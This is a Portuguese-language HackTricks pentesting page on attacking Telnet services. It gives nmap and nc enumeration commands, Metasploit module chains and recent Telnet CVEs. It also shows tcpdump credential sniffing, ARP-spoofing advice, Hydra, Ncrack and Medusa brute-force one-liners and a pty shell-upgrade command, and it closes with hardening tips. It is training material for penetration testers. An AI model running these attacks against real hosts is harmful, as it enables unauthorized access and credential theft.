mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
127 lines
6.1 KiB
Markdown
127 lines
6.1 KiB
Markdown
# 23 - Pentesting Telnet
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
|
||
## **Informações Básicas**
|
||
|
||
Telnet é um protocolo de rede que oferece aos usuários uma maneira INsegura de acessar um computador através de uma rede.
|
||
|
||
**Porta padrão:** 23
|
||
```
|
||
23/tcp open telnet
|
||
```
|
||
## **Enumeração**
|
||
|
||
### **Captura de Banner**
|
||
```bash
|
||
nc -vn <IP> 23
|
||
```
|
||
Toda a enumeração interessante pode ser realizada pelo **nmap**:
|
||
```bash
|
||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||
```
|
||
O script `telnet-ntlm-info.nse` obterá informações NTLM (versões do Windows).
|
||
|
||
Do [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Essas opções podem incluir a mudança do conjunto de caracteres, o modo de eco, etc.
|
||
|
||
**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.**
|
||
|
||
### [Força bruta](../generic-hacking/brute-force.md#telnet)
|
||
|
||
## Arquivo de configuração
|
||
```bash
|
||
/etc/inetd.conf
|
||
/etc/xinetd.d/telnet
|
||
/etc/xinetd.d/stelnet
|
||
```
|
||
## Comandos Automáticos HackTricks
|
||
```
|
||
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
|
||
Port_Number: 23 #Comma separated if there is more than one.
|
||
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for t=Telnet
|
||
Note: |
|
||
wireshark to hear creds being passed
|
||
tcp.port == 23 and ip.addr != myip
|
||
|
||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
|
||
|
||
Entry_2:
|
||
Name: Banner Grab
|
||
Description: Grab Telnet Banner
|
||
Command: nc -vn {IP} 23
|
||
|
||
Entry_3:
|
||
Name: Nmap with scripts
|
||
Description: Run nmap scripts for telnet
|
||
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
|
||
|
||
Entry_4:
|
||
Name: consoleless mfs enumeration
|
||
Description: Telnet enumeration without the need to run msfconsole
|
||
Note: sourced from https://github.com/carlospolop/legion
|
||
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
||
|
||
```
|
||
### Vulnerabilidades Recentes (2022-2025)
|
||
|
||
* **CVE-2024-45698 – Roteadores D-Link Wi-Fi 6 (DIR-X4860)**: O serviço Telnet embutido aceitava credenciais codificadas e falhou em sanitizar a entrada, permitindo RCE remota não autenticada como root via comandos manipulados na porta 23. Corrigido no firmware ≥ 1.04B05.
|
||
* **CVE-2023-40478 – NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` do Telnet CLI permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root.
|
||
* **CVE-2022-39028 – GNU inetutils telnetd**: Uma sequência de dois bytes (`0xff 0xf7` / `0xff 0xf8`) aciona uma desreferenciação de ponteiro NULL que pode travar o `telnetd`, resultando em um DoS persistente após várias falhas.
|
||
|
||
Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para a execução de código ou um DoS disruptivo.
|
||
|
||
### Capturando Credenciais & Man-in-the-Middle
|
||
|
||
Telnet transmite tudo, incluindo credenciais, em **texto claro**. Duas maneiras rápidas de capturá-las:
|
||
```bash
|
||
# Live capture with tcpdump (print ASCII)
|
||
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
|
||
|
||
# Wireshark display filter
|
||
tcp.port == 23 && (telnet.data || telnet.option)
|
||
```
|
||
Para MITM ativo, combine o ARP spoofing (por exemplo, `arpspoof`/`ettercap`) com os mesmos filtros de sniffing para coletar senhas em redes comutadas.
|
||
|
||
### Força bruta automatizada / Spraying de senhas
|
||
```bash
|
||
# Hydra (stop at first valid login)
|
||
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
|
||
|
||
# Ncrack (drop to interactive session on success)
|
||
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
|
||
|
||
# Medusa (parallel hosts)
|
||
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
||
```
|
||
A maioria das botnets IoT (variantes do Mirai) ainda escaneia a porta 23 com pequenos dicionários de credenciais padrão—refletir essa lógica pode identificar rapidamente dispositivos fracos.
|
||
|
||
### Exploração & Pós-Exploração
|
||
|
||
O Metasploit possui vários módulos úteis:
|
||
|
||
* `auxiliary/scanner/telnet/telnet_version` – enumeração de banner e opções.
|
||
* `auxiliary/scanner/telnet/brute_telnet` – bruteforce multithreaded.
|
||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE contra Telnet vulnerável do Solaris 9/10 (manipulação da opção ENCRYPT).
|
||
* `exploit/linux/mips/netgear_telnetenable` – habilita o serviço telnet com um pacote elaborado em muitos roteadores NETGEAR.
|
||
|
||
Após obter um shell, lembre-se que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md).
|
||
|
||
### Fortalecimento & Detecção (canto da equipe azul)
|
||
|
||
1. Prefira SSH e desative completamente o serviço Telnet.
|
||
2. Se o Telnet for necessário, vincule-o apenas a VLANs de gerenciamento, aplique ACLs e envolva o daemon com TCP wrappers (`/etc/hosts.allow`).
|
||
3. Substitua implementações legadas de `telnetd` por `ssl-telnet` ou `telnetd-ssl` para adicionar criptografia de transporte, mas **isso apenas protege dados em trânsito—adivinhação de senhas continua trivial**.
|
||
4. Monitore o tráfego de saída para a porta 23; compromissos frequentemente geram shells reversos via Telnet para contornar filtros de saída HTTP rigorosos.
|
||
|
||
## Referências
|
||
|
||
* D-Link Advisory – CVE-2024-45698 RCE crítica do Telnet.
|
||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|